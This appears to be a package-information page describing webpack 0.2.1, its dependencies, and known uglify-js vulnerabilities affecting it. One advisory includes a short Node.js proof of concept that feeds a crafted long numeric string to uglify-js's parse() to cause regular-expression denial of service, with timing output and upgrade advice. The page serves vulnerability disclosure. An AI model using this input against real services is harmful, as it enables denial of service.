Webpack version 0.2.1 is a minor update to the popular module bundler, building upon the foundation laid by version 0.2.0. Both versions empower developers to package CommonJS modules for browser deployment, enabling efficient splitting of codebases into smaller, on-demand loaded bundles, thus optimizing application performance. The core functionality remains consistent, centering on modular JavaScript development and streamlined asset management.
The key difference between the two versions lies in the introduction of a new dependency in version 0.2.1: the "sprintf" library (version 0.1.x). This suggests enhancements related to string formatting capabilities within Webpack, potentially impacting logging, error messaging, or plugin development. Developers who rely on Webpack's output and need precise string manipulation might benefit directly from this addition.
Both versions rely on crucial dependencies like Esprima (version 0.9.8) for JavaScript parsing, Optimist (version 0.2.x) for command-line argument parsing, and Uglify-js (version 1.2.5) for code minification, ensuring a robust development workflow. The inclusion of "vows" as a devDependency indicates a commitment to strong testing practices. Using either version provides significant advantages for managing complex JavaScript applications, improving load times, and promoting modular code organization. Developers should investigate sprintf's integration to asses if version 0.2.1 offers any utility of their development practices.
All the vulnerabilities related to the version 0.2.1 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse() method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.